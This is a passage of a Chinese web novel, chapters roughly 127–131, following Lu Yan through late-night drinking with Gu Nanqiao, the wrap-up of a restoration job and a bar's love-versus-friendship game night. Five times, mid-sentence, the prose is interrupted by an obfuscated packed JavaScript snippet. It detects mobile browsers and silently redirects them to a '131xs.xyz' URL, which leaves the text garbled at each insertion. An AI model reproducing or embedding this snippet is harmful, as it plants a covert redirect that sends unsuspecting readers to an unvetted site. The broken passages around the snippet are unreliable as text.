“别骗我......” 顾南乔松了手,酒瓶差点砸落。 随后捂住脸,肩膀剧烈地颤抖起来,哭声从指缝里挤出来,又闷又痛。 陆砚的眼眶也跟着发酸,有什么东西堵在喉咙里,痒得想流泪。 但他不能。 他只是静静地看着她,像看着镜子里那个早就溃不成军的自己—— 一样的挣扎,一样的无处可逃。 陆砚试探着伸出手,轻轻拍了拍她的背,仿佛这一刻也有人拍了拍自己。 两人像水坑里的两条鱼,用力的呼吸着,混着酒香,温柔的漩涡再次出现: 凑上去,紧紧相拥,把对方揉进怀里,就能得到安慰。 于是他的手慢慢环过去,把她半搂在怀里。 这个拥抱很轻,像捧着易碎的玻璃—— 亲爱的朋友,在你身上发生了怎样的事情,竟会如此悲伤。 还记得初见你时,你脸上绽放的笑容连天气都会由阴转晴,连九月的阳光都会礼让三分。 生活......怎舍得如此伤害你...... 不知过了多久,顾南乔忽然抬起头,跨坐上来。 陆砚的手臂下意识收紧,把她抱得更紧。两人的额头抵在一起,呼吸交缠,谁都没说话。 那些积压在心底的愤怒、委屈、失望,像开了闸的洪水,顺着眼神往外淌—— 压着埋怨的温柔托举、面对水闸装作一无所知的实习生、以爱之名等着分利的...... 所有的人都在撒谎,所有的人都戴着虚伪的面具,所有的人都傲慢地践踏着别人的自由,无一例外! 可,所有的人又都那么可怜,那么无知,不过是想在这世上好好活着,也,无一例外! 哭够了,陆砚把手松开,她慢慢从身上下来,在旁边坐好。 两人之间隔着半臂的距离,肩膀却紧紧挨着,在寒风里相互取暖。 顾南乔拿起酒瓶,对着瓶口抿了一口,睫毛上还挂着没干的湿痕。 没看他,把瓶子递了过去。 陆砚也对着瓶口喝了一口,酒液滑过喉咙时,带起一阵微麻的涩。 酒液在两人之间传递,瓶身沾了彼此的温度。 他们谨遵男女之间的大防,却又借着同病相怜的友谊而亲密,于是重重复杂的情感夹杂在交换酒瓶的动作里。 他们喝着同一瓶酒,仿佛可以面对同一份痛苦。 ‘你一口,我一口’的循环里,酒瓶渐渐空下去,两人的呼吸都带着梦一样悠长。 红酒液漫在舌尖,比刚才的沉默好受些。 她突然笑了一声,声音哑得厉害: “这酒真难喝。” 分辨不出真心的话语散在房里,顺着心与心的桥梁,仍可以听出几分端倪。 难喝吗...... 可是乔乔,它是你曾经最爱的酒。 陆砚没有接话,无不伤心的想: 或许是因其昂贵的价格,以后不能常喝了,现在在自我暗示? 她的伤心,又究竟和家庭有几分联系呢? 直到,一直手轻轻覆了上来。 “你......有没有一点,哪怕一点,觉得灵灵很讨厌?” 她的气息混着呼吸里的旖旎,像张温软的网,缠得他指尖发颤。 男人的心脏猛地一缩,僵在原地,某种情绪像蛇的毒液麻痹着心脏,随后胸膛剧烈鼓动着。 拒绝的话堵在舌尖,喉咙发紧,想后退,想呵斥,四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039713|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肢却像灌了铅。 沉默了很久,久到窗外的霓虹都暗了几分,才把那只手拿开,缓缓开口: “灵灵......缺点是有的。” 她选男朋友的眼光,实在太差了。 ...... 杨灵回来,他们已经喝了两个小时。 顾南乔的身上搭着毯子,陆砚坐在其旁边,正要起身过来。 “你们这是......” “她心情不好,喝多了。灵灵,今天工作累不累?” 十分钟之前,老陆打来电话,说他的表姐又要结婚了,这次是闪婚,婚礼就在三天后。 挂电话的时候千万叮嘱了,要把女朋友也带回来见面。 从低跟皮鞋换成拖鞋,抬头的时候,便是浅浅的笑容: “不累的,你看我不是按时回来了吗。” “......嗯......嗯。” “陆砚,你有什么想说的吗?” 有。 想过几天带她一起回老家,去看看新人的婚礼,看看对方的婚礼是不是他们憧憬的样子; 想一起好好出去玩几天,这样就不必再问她累不累,而是时刻就在身边照顾; 他想说,生活时常给出难题,每个人都有手足无措的时候,可是只要一想起你,便还有继续解题的决心。 “灵灵,要好好休息......别累着。” “嗯。” 男人垂着脑袋往厨房走去,那里有路上带回来的菜,可此时全然记不住买了什么,脑海里只有她嘴边挤出的笑。 或许杨灵,只是一心想着,别把情绪带回家里。 亦或者,她在自我煎熬中,找到了相爱的感觉。 可是,可是...... 宽容从不是解药,而是系在他心上的绳,她每温柔一分,就勒得更紧一分。 陆砚拼命想奉献些什么——一直都想奉献,但绝不是为了赎罪—— 不是为了填补对方的损失,只是想让那个被她轻轻放过的自己,能稍微喘口气。 此刻的‘维护’像根细刺,扎在了最敏感的地方。 明知是好意,可这份好意让人更看清自己的狼狈——连让她坦然怨怼的资格都没有。 陆砚渴望着,渴望着一场明码标价的‘谈判’。 不是要撕裂什么,是想在这笔算不清的亏欠里,找到一个能喘口气的支点—— 补偿多少,怎么补偿,哪怕苛刻,哪怕冰冷,也好过现在这样,被她的温柔裹着,像沉在水里,连挣扎都显得辜负。 男人,需要一个清晰的‘债’,才能找到坦然的路。 这或许是他此刻唯一能抓住的、让自己不至于彻底崩塌的浮木。 ...... 后半夜三点,主卧的门轻轻开了条缝。 一道人影赤着脚走出来,客厅的夜灯在脸上投下片淡淡的阴影。 她没往客房去,径直走到电视柜旁,蹲下身点开了监控屏幕...... 盯着画面里交叠的影子,看了很久很久,直到天边泛起一点鱼肚白,才关掉屏幕,轻手轻脚地回了卧室。 第一百二十八章 鸡腿的故事 昨天睡得很早,于是今天起得很早。 但宏观低速的世界中,根据相对运动原理,在这间屋子里,他起得很迟。 摘下三角巾绷带的第一天,七点五十做好了三份早餐,结果另外两人早早就出了门。 大伙都说会哭的孩子有糖吃,陆砚当即把早餐发到群里,等待夸奖...... 没有回复的一种可能是,群消息没开响铃。 作为女博士的男友,他向来是个严谨的人,当即给两人私发过去,排除对方没看到的可能性。 很快,消息来了。 我系统呢:没事别烦我。 墨斗先生:早餐不算事? 我系统呢:再啰嗦就拉黑。 这位姐肯定大姨妈来了,陆砚决定暂时避其锋芒。 “叮——” @Adeline:(小猫微笑.jpg) 额...... 只有煎蛋作陪的清晨,人生真是寂寞如雪啊! ...... 这两天,他们处理了各个房间的积水,修好了水管,还针对二楼地板的渗水点进行了加固以及通风。 当然,排湿过程没有用大功率吹风对着吹,也没有用各种烈性干燥剂强制烘干。 上了年纪的物件倘若没有更换打算的话,是不可以像熨衣服一样处理水分的。 按理说,剩下的部分就只能交给时间了。 可是巡视得再仔细一点,总能找到活干—— 拆除泡软的墙皮。 除湿机和工业风扇分别在房间和窗口工作着,盯着热闹的噪音,陆砚在和小赵对照账单——顺带一提,到了这个节点,老周他老人家也是百忙之中抽空来了。 他先低头认个错:“是我没盯紧,让兄弟们白熬了这些日子。” 彩绘和木作是古建修复的‘灵魂’,师傅们的手艺,是实打实的功夫账,项目哪怕黄了,这部分工钱不能赖。 掏出账本,彩绘师傅按‘平米数’和‘纹样复杂度’算。 小赵没说客套话,把自己这边该报上去的上报,他和赵家班两个彩绘师傅的款当场核对确认,然后结账。 “周叔。” 随后是老周,木作师傅按‘构件数’和‘工时’算。 小赵闻言躲到一边。 合作那么久,他们的单价始终保密。 两人在二楼电扇旁边,翻开日志本,字迹打开回忆之门,顺着九月初,清点起如今两个多月的痕迹。 横梁木、门柱、楼梯、梁枋雕刻、斗拱......和彩绘雀替。 尽管对于老周中途离开心有怨怼,甚至曾恶毒地想过,不是他强行休息,自己压根不会被屋顶那点事牵累。 可是老周......回忆起他工作的时候,总是尽心尽力做事。 两个木作师傅忙不过来的活计他一个人就做了,还做得好,有水平——几乎符合陆砚心中对老师傅的所有要求。 ...... 日头不错的中午,他们合力收拾出了吃午饭的地方,桌上仍是‘阿芳小馆’出品的餐食。 陆砚把这顿的伙食标准翻了几翻,却依然觉得难吃。 刚准备把‘难吃’二字脱口而出时,猛地想起,昨天顾南乔也是这么说的——这酒真难喝。 只是,自己是因为分别在即,她又因为什么呢? “陆师傅,吃这个!” 苏棠递来鸡腿。 今天格外温顺,有种让人忍不住给她发奖金的冲动。 对了,灵灵之前有嘱咐过,要给她加工资来着,当时说的,加工资原因是什么呢...... 原来过去发生了那么多事情,而且怎么想,都可以和老洋房相关。 “陆师傅!” 陆砚投去疑惑神色,好好的,干什么? “能不能别这么盯着我,我害怕......” 她说着害怕,眼神也在闪躲,肢体却全然没有收缩的微动作。 “陆哥,小苏还是个孩子,克制,克制!” 张野作为出了名粘手的牛粪,桃花没有,碰起瓷来倒是让人揪心的难受。 “张哥,纠正一下,小苏不小了,放古代都是两个孩子的妈了。” 苏棠黑着脸瞪向小赵,眼白反射光线,狠狠刺了一击。 然而当事人还有一位,陆砚神色严肃说: “小苏是不小了,不兴乱开玩笑的。小心她把你挂网上,到时候网友的重锤教你做人。” “鸡腿不给你了!” 善心喂了狗,恼羞成怒的她伸手就从陆砚碗里拿回来。 望着那只人人都有的鸡腿,男人心里好像空了一块——那叫遗憾。 他们,即将各奔前程。 原班人马再聚也只会是年后,至于聚不聚得齐、聚不聚的拢,得另说。 唯一可以确定的是,两位实习生应该是不会有空了。 看向默默吃饭的冯小军,不想最后的时候让他遇冷: “小军,下学期要赶论文了吧?” “.......对。” “需要论文实际案例,可以找我拿资料。” 陆砚对着冯小军说着,心里却在惦记苏棠手里那只鸡腿。 真希望下一秒,她会跳出来说,‘资料我也要,拿鸡腿跟你换’。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045914|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可事实是,她安静地坐着,拿在手里,油渍沾满了手心,快要滑到手腕。 “好的......谢谢陆哥。” “小苏不要写论文吗?女孩子喜欢漂漂亮亮的图,到时候可以找我拿。” 小赵延展着话题,仍是长发快要垂肩的艺术造型,没人知道他在想什么。 就在此时,陈禹发来消息,喊他晚上聚聚。 真是饿汉遇到宴席,正合心意呢。 再回过头,却发现苏棠和小赵有吵嘴的迹象: “哦?真不用吗?还是说在等陆师傅发话?” 她的脸腾地肿红了,霍的起身,像被点燃的炮仗,不等火星灭下去就炸了: “说不用就是不用,你这个人为什么喜欢乱说话呢!” “喂喂喂,”陆砚赶紧过去按住她的肩膀,“周叔叔还在吃饭呢,小声点,小声点......内个,周叔,评评理。” 毕竟认识那么久了,加上苏棠本就不是个气性大的人,自然一劝就偃旗息鼓了。 不过上了年纪的老周,语不惊人死不休: “小苏跟你,是蛮搭的。” 场上五人看着老周,老周悠哉吃菜,随后三人又把视线挪过来,看向双手搭在苏棠肩膀上的陆砚。 他的手顿时像摸到了烙铁,猛地缩回来。 老周此时仍不知道他和杨灵的事,只是像做木作活一样,结合过去的经验,将自己认为的大实话说了出来。 偏偏这有几分道理的大实话,冷得桌上再没有半个字眼。 ...... 老陆又叮嘱了一遍表姐结婚的事,让提前一天回来。 挂断电话,众人做着最后的清尾工作。 就像拿最后的面包屑,擦餐盘上最后的油荤。 陆砚从油荤想到了中午,又被苏棠收回的鸡腿。 男人胃口大是天性,自私的本能大概不会出现‘满足’的那天。 可人不是只有本能,更不是全由本能操纵的物种。 他们会热衷诗词歌赋这类不能吃也摸不着的事物,他们偶尔也会做些舍己为人、讨不得半点好的蠢事。 他们大概会在某个节点,确认自己的生命会有终点,思考‘既然注定会消亡,那么活着的意义是什么’。 人是一种靠幻想活着的动物,人是一种需要构建自身精神世界的动物。 人,终其一生都为着,确认‘我’是谁,而努力。 所以吃不到鸡腿,便吃不到吧。 陆砚这次心里再没有不舍。 “那么......各位!山水有相逢,我们来日再见!” 第一百二十九章 微醺选择题 既然要关闭老洋房,那前院的车就开走吧。 要去喝酒,那就再给顾姓女子打个电话吧。 “喂,我现在要打电话,能不能留点隐私空间给我!” “那我耳朵闭起来。” 众人散去后,苏棠没走。 今天是周三盲盒夜,她要去破吉他玩......驻唱。 “人的耳朵能闭起来?我理科生,向来以理服人。” “物理?你要对我做什么!” 算了算了,打又舍不得打,骂更难得骂,万一说重了多不好。 陆砚对着‘顾律师’按下去,随后是长达两秒的响铃,然后电话被挂断。 “我就说我耳朵闭上了吧!电话打完,什么都没听到。” “...” 呼——,呼——,温良恭俭让,**。 车辆缓缓启动,现代生活中,物理的用途还是没那么广泛。 ...... 刚刚停到小酒馆门口,苏棠便大喝一声‘不许动’,说‘要等通知,你进来才准进’,随后下车往里面小跑。 很好。 阿乐请来的驻场,第一步就是把客人拦在门外,多招人喜欢呀! 随即手机上跟杨灵说了声,然后给顾南乔发消息再问问——至于为什么不在群里问,因为早上的消息至今没人回! 墨斗先生:破吉他有乐子,来不来?(红色感叹号) 等等,自己没发感叹号表情啊...... 一行清晰的小字解开了疑惑: 消息已发出,但被对方拒收了。 换言之,拉黑了。 世界上的拉黑,陆砚认为有两种。 一种是玩笑,做不得真;一种是...... 总之此刻,大概率就是第一种。 他气愤拿出手机,再次拨通电话。 “喂?顾乔乔你抽什么风,怎么微信拉黑了。” 对面比想象中的平静: “不能拉黑吗?” “......额,原因呢?” “你不需要知道。” “嘟嘟嘟......” 沉默的空间里,男人暗下决心,这梁子他们算结下了。 “陆师傅!” 小姑娘拉开车门,火急火燎催他进去。 一众门店中,破吉他门口摆着显目的海报,海报上写着显目的主题字—— ‘微醺选择题:爱情VS友情阵营夜’。 他们并肩走,却又像导游带着游客参观。 “等会进去,每人都要抽一个手环,红蓝两种。” “这两种是......?” “爱情和友情。” 陆砚难以启齿的词,在苏棠嘴里听着顺理成章,甚至会想,爱情与友情简直是为她这个年龄量身打造的主题。 穿过褪成了鸭蛋青色的门帘,破吉他音乐酒吧此时并没有多少人。 不仅他来早了,连带苏棠也比兼职时间早一个多小时过来。 指尖无意识地抠着桌沿的木纹,心情沉了沉。 他是来躲清净的,她却是来挣工钱的。 这提前到的一个小时,算什么呢?总不能是为了陪他这个客人——念头刚冒出来,就被他按了下去,连带生出点涩味。 这段日子,他最怕的就是这种说不清道不明的牵连 “苏棠,待会过来一起玩,我买单。” “好嘞,谢谢陆师傅!” 苏棠爽快应下。 路过大厅黑色胡桃木桌子时,陆砚在盲盒抽中了红色,爱情。 她也抽了,蓝色,友情。 两人手上不同的颜色似乎预示着,今晚势同水火的紧张关系,她当即点了一众烤串,准备从经济上狠狠打击对手。 却不想她点得越多,陆师傅笑得越开心,仿佛觉醒了‘消费成倍返现’的系统一般。 “这都是第几次了!” 实在受不了了。 人家是女孩子,成年的女孩子啊! “可不可以不要这么慈祥的看我!” “不是你喊的陆叔叔吗?” “咦——,油腻,恶心,烦死啦!” 她把手上莫须有的油楷到陆砚的外套上,随后跑到唱台边做准备去了。 无聊的等待中,风尘仆仆的陈禹赶到——戴着蓝色手环。 “禹哥!” “砚哥!” 墙上的灯管陆续点亮,这座酒馆睡醒了。 按他们多年的默契,该是进入寒暄环节,聊聊最近接了什么活、哪家的串儿变了味。 结果陈禹起手就说:“晚声走了,也不送送,比我想得无情啊你。” 话音一落,陆砚就知道,可以开始喝酒了。 他从不觉得自己无情,反倒觉得是被心里那点泛滥的情分绊住了手脚。 没人知道,医院走廊的消毒水味还没散尽的那个下午——林晚声走的前一天,他在回忆里蹚了多少趟。 从初遇时她一身白裙笑出的梨涡,到最后病床前她笑弯的眼睛,每一步都踩得人胸口发闷。 送行这回事,从来是用情越深,剜心越狠。那场面太锋利,他也怕自己撑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051170|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住,更怕她看见狼狈的自己。 不送呢?现在看来,也逃不过剜心。 “碰!” 陆砚灌下一口酒,辛辣感从喉咙烧到胃里,和心口的那点不适应分庭抗礼。 这种感觉来得慢,像梅雨季的潮,一点点渗进骨头缝里,不疼不痒,但缠得人喘不过气。 他把空杯往桌上一推,示意陈禹再倒点。 有些事,连最好的朋友都没法说清。 “这事,我确实没做好......不过还好有你们在。” “想多了,我们也不在。她改了航班,看完你,当天下午就走了。” “......好了,别总聊她呀。你就是恶趣味,喜欢把人搞得难受。” 陆砚的心理活动到此处,强行被掐断。 端起酒杯抿了口,冰凉的液体滑过喉咙,把那些要冒头的名字和画面都压了下去。 林晚声此刻在哪,坐的哪班车,陈禹那些话里藏着的试探,他都不想接。像收拾一团乱麻,现在不想理清楚,只想先把线头攥在手里,塞进抽屉最深处。 指尖按在杯壁,水珠顺着指缝往下滴。 他需要的不是翻旧账,不是琢磨谁对谁错,是这片刻的空——酒精别上头,脑子别发沉,让紧绷的神经松口气就够了。 生活的难题像排队等着的债,总得一个个还。 现在要做的,是攒点力气,明天睁眼时能站直了,而不是被往事拖得迈不开步。 至于那些亏欠,那些没说出口的话,都先候着吧。 等他把眼前的日子捋顺了,等酒杯空了又满,满了又空,总有能摊开来说的那天。 现在,他只想对着这盏昏黄的灯,多坐一会儿。 “我去,两位可算来捧场了。没有你们的日子里,八卦方面我完全断了粮啊!” 阿乐从后厨走了出来,今天竟然领带、衬衫、西裤捯饬得有模有样,此刻端着烤串‘duang’的,人和餐盘一起坐下。 “老板大方!” “不不,是陆老板点的。” “是陈老板要来,我才点的。” 三个男人互为犄角,此时你看看我,我看看你,神色肃穆。 确认过眼神以后,陈禹先往陆砚面前的碟子里推了串烤腰子,说: “陆老板昂扬!” “陈老板威风!” 阿乐闻言,双手抱胸一副准备如沐春风的模样——陆砚和陈禹同时转头看他,眼神里带着憋坏的笑意。 “乐老板,又扬又威!” 第一百三十章 爱情vs友情 张扬了威风的阿乐骂骂咧咧走后,桌上气氛一度达到顶点。 然而大笑后的下一秒,总是空虚来得最汹涌的时候。 两人同时收声,陈禹先问: “听说,工作搞砸了?” 真正的勇士,敢于直面惨淡的人生;真正的朋友,向来不避讳以最直白的语言,去刺向可能会惹到麻烦的话题。 陈禹不会考虑陆砚能不能承受得住,他只做自己该做的——打听完情报,适当给予帮助。 “害,何止是搞砸了......我已经想不出来,比目前更煎熬的局面了。” 希望不是立flag...... “那是你之前太顺了。” “别这么老成,朋友。” “真的,太顺了。” 陆砚把这句话听进去了。 因为此前不少人也对他说过。 “你呢?颜朵哄好了吗?” “哄?”他歪了歪嘴,“哄得好的,那就没有问题,哄不好的,哄也没用。” 为什么喝酒之后,才聊得痛快呢? 因为晕晕乎乎的可以忽略很多细节,以至于对方装a到c的时候全然听不清楚,彼此便和睦了。 很显然,目前还没喝到位。 陆砚把杯沿往嘴边送,痛饮一口之后说: “你倒是看得开。我就不行......最近搞砸了事,跟杨灵说话都透着股小心翼翼。” “怎么个小心翼翼?” “就是……算了,我打个比方,能听懂多少看你了。比如说,以前路过花店,看见好看的玫瑰就想给她带一束,现在会先算这束花够买几斤牛肉。她随口说今天天气不好,我脑子里第一反应是我哪里没做好。” 他顿了顿,喉结滚了滚,“明明知道她不是那样的人,可我自己心里像压了块东西,说什么做什么都觉得没底气。” “具体呢?”陈禹追问,给自己续了半杯酒。 “具体......我还是喜欢她,真的,愿意为她做任何事。可坐在一块的时候,那股子沉重感就往嗓子眼冒。” 陆砚拿起酒杯灌了一大口,酒液顺着喉咙烧下去,声音压低了些: “你说这叫什么事儿?喜欢是真的,觉得自己配不上也是真的。” 陈禹没接话,沉默着抽了根烟。 烟雾在两人之间飘了会儿,他才把烟蒂摁灭在烟灰缸里,声音带着点被烟丝磨过的沙哑: “你啊,就是把顺序搞反了。” 陆砚抬眼看他。 “女人那点东西,说白了就是男人的面子。” 陈禹拿起酒瓶,往陆砚空了的杯子里倒: “长得好看,对你温柔,带出去别人羡慕,这都是面子。可面子撑不起日子,真正能让你站直了的,是里子——是银行卡里的数字,是能拿得出手的本事,是别人抢不走的地位。” 他把杯子往前面推了推,眼神里带着点狠劲的清醒: “金钱和地位,那才是男人的脊梁。没了这两样,就像被抽了脊椎的软体动物,别说给女人遮风挡雨了,自己都抬不起头,直不起腰。你现在觉得跟杨灵说话累,不是因为她变了,是你自己的脊梁骨暂时软了,撑不住那点自尊心了。” 陆砚握着酒杯的手指猛地收紧。 这话像块冰锥,戳得人疼,却又透着股残忍的实在。 他张了张嘴想反驳,最终只化作一声低低的苦笑。 酒馆里的音乐换了首慢歌,窗外的霓虹透过玻璃照进来,在桌面上投下明明灭灭的光斑。 两人一时没说话,只有酒杯偶尔碰撞的轻响。 过了会儿,陈禹像是想起什么似的,摸出手机点了几下,屏幕亮了又暗。 他把手机揣回兜里,拿起烤串往陆砚盘子里塞: “其实我也就说说而已,你懂吧?” “谁不知道你是说说而已呢?理性想法是一回事,颜朵真在你前边受了委屈,那就又是一回事了。” 要全论理性,那社会早就崩塌了。 “哎,对头的。” ...... 台风过后,不止老洋房,市里有多处文保建筑遭到了不同程度损伤,是以这几天他们各自有得忙。 杨灵相对来说没那么忙,她只有一件事,把老洋房项目的各个节点、安排,用书面形式记录清楚。 今天她有点气色不好,下午做眼保健操的时候差点睡着,好在手头工作不少,专注的时候便不会想那么多有的没的。 “杨灵,明天晚上局长喊我们集体吃饭,说顺便集中讨论近期工作安排。” 她伏案的头抬起来,是李莉,平时人缘比较好,特爱给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053524|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人牵线,素有妇女之友的称号。 “哦,谢谢,我知道了。” “几次聚会没看见你,这次记得要来啊!” 杨灵只是笑笑,李莉见状并不多说,眼看到了下班的点,挥手道别。 聚餐......要不要去呢? 假使以前,想都不用想便拒绝了。 有什么工作需要私人时间去聊?这样的工作她肯定做不来。 但......这次罕见犹豫了。 收拾东西准备下班,最近接踵而至的意外彻底打乱了生活的节奏,她也不知道该如何是好。 突然想到陆砚说今天在外面喝酒,好像是和陈禹......她想再打个电话问问。 ...... “女士们先生们,想必每个人都领到手环了吧。今晚我们鼓励不同颜色的人互相分享观点,当然,开口之前得先喝一杯表示敬意......” 苏棠和阿乐在台上组织活动,陆砚和陈禹这边照常在角落桌,越喝越高兴。 “哥们,我有点喝明白了,其实我现在压根不用想七想八,赚不到钱,再委曲求全我心态也不会摆正的!” “砚哥,在理,敬你!” 两人手上一红一蓝两个手环,在昏暗环境下发着荧光,随着抬手动作,荧光忽上忽下,像指路的明灯。 陆砚感觉心上蒙着的布被掀开了,重新积蓄力量、准备出发的他发现,问题远没有想象中复杂—— 只需要像以前一样,沉下心,做好事情,即可。 他人的羞辱也好,龌蹉也罢,会随着自己的前进,远远甩在身后。 正是这么简单朴素的道理,钻牛角尖的时候怎么意识不到呢? 玛德,真是自己把自己吓傻了! “喝,兄弟!没有你我真像瞎子走夜路,今天哥们肯定站友情这边!” “这话像样——” “嗡嗡——” 杨灵的电话。 “陆砚,今天你要喝到几点呀。” 陈禹的眼神扫过来,陆砚硬气说道: “灵灵,别等我,今天可能很迟,你和顾乔乔记得好好吃饭哈。” “九点回来,可以吗?” “当然不行。” 陆砚斩钉截铁地说道,然后起身离开,去一个陈禹听不到对话的地方接着打电话。 第一百三十一章 生活要有态度 不大不小的酒馆里,十张桌子的客人窜来窜去。 按照规则,发言前先喝酒,发完言再碰杯。 然后角逐出BBking,上台讨论,最后众人一起干杯。 陆砚接到电话开始,大概在外面和杨灵交涉了半个小时——当然没有吵架,彼此闲聊的内容居多。 直到杨灵开车到家,两人才挂断电话。 当他再度回到桌上时,迎上阿乐和陈禹的目光,半点不觉得丢脸: “你们随意,哥们现在只觉得心胸开阔,比登山者还有攀登困难的心气。” “发表观点前要先喝酒,警告一次,罚款二百。” 阿乐也是红色手环,按游戏规则,场上唯一对手只有蓝环的陈禹才对。 陆砚正要反驳时,猛的打住,喝了口酒: “这踏马谁想的点子,啤酒厂欠他个锦旗!” “是我!是我!” 苏棠从背后过来,拿着吉他,脸上得意。 同样的,场上三个男人也是一脸笑,齐刷刷伸手指着她: “喝!” “喝就喝!” 小丫头不扫兴,拿着125ml小杯的勾兑酒直接闷了。 还不待三人表态,倒是隔壁桌先起立欢呼了。 “哇!” “呜——” 人传人效应很快在酒馆内推广,他们看着苏棠手上的蓝环,所有带着蓝环的人都举着手起哄—— “还有谁,还有谁!” “来一个,来一个!” 无心插柳竟把酒馆气氛推向了高潮,阿乐看得嘴角都咧开了,而且正好他是红环,此时当仁不让的起立: “咳咳!承蒙大家厚爱——” “没喝酒,犯规!速速抬走!” 苏棠飞快抓住把柄,众人一起嘘声,把名义上的老板瞬间搞得下不来台,只好喝一口灰溜溜地又坐下。 所以...... 前赴后继,陆砚豪迈饮酒,起身应战: “友情?小小苏棠,你把乐老板赶下台是何居心?对得起你们的友情吗?” 言之有物,周围立刻响起一阵哄笑,都想看那个唱歌甜甜的小姑娘怎么痛击敌人。 不料她还真是镇定自若,发言前还有音效—— 指尖拨了个清脆的和弦,说:“友情伟大,所以纵使我留下话柄,也要把你捧上来!” “喔霍!” “糖糖厉害!” 人群中,蓝方彻底分化出来,聚成一堆,吹着口哨开始给她加油打气。 此时,压力给到陆砚。 老师傅嘴角一歪: “友情伟大?苏棠,你这是没尝过爱情的甜,站着说话不腰疼啊。” “本来就伟大啊。爱情会吵架,会分手,朋友不会。” “哦?”陆砚挑眉,又开了罐酒,“那你说说,朋友能替你暖被窝?” 这话一出口,满酒馆都笑炸了。 苏棠脸颊微红,突然意识到对方不再把她当小孩一样对待,和之前一起工作时截然不同。 于是兴高采烈回: “暖被窝有什么用?朋友很靠谱的!没钱吃饭的时候,老婆会跑,但是朋友能给你刷饭卡!” 旁边一个看上去很有生活的蓝环客人喊: “说得对!” 苏棠立刻朝那边扬了扬下巴,像只得胜的小孔雀。 陆砚看着对方带笑的眼睛,心里那点被酒精烧起来的热乎劲儿更旺了。 他突然觉得,跟这丫头抬杠比琢磨那些烦心事痛快多了......友情伟大! 遂举起酒杯: “行,你赢了。” 苏棠愣了愣:“啊?这么快?” “不快怎么着?”陆砚笑着摘下手腕上的红环,往她面前一递,“心服口服,我换阵营。” 全场瞬间安静,随即爆发出更响的欢呼。 赢的一方差点把桌子拍塌,输的一方假装叹气,却都在笑。 苏棠看着他递过来的红环,又看了看自己手腕上的蓝环,突然有点不好意思,飞快摘下来塞给他,抓起爱情就往手上套: “那......那我可收下了啊。” “收着吧。”陆砚乐不可支,“为了能蹭你饭卡,我选友情。” 苏棠‘噗嗤’笑出声,抱着吉他站起来,对着全场喊:“蓝环赢啦!” “喔!” “今晚开不开心!” “开心!” “高不高兴!” “高兴!” 欢呼和掌声差点掀了酒馆的顶。 陆砚看着她蹦蹦跳跳的样子,又灌了口酒,只觉得今晚的酒格外顺喉,心里头那点堵着的东西,好像随着这场吵闹,全散了。 ...... 有舍有得,有得有舍。 蓝色手环套在手上,确实比刚才更开心。 悲伤的时候喝酒会有负担,觉得在逃避,但此刻开心嘛...... 和旁桌的人喝了几个来回,他感觉快要喝多了,连忙打住,示意改日再战。 此时桌上四人,两蓝两红的剑拔**张随着下半段进程,也不复存在了。 期间杨灵打来电话,陆砚跟她说了,还要一会...... 不过此时,恐怕更得花点时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055244|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间缓缓才行。 “陆师傅,我们以后可能没机会见面了。” 正当准备透透气的陆砚,陡然听见苏棠说出的话,愣了愣,怀疑自己已经喝多了。 “什么情况?” 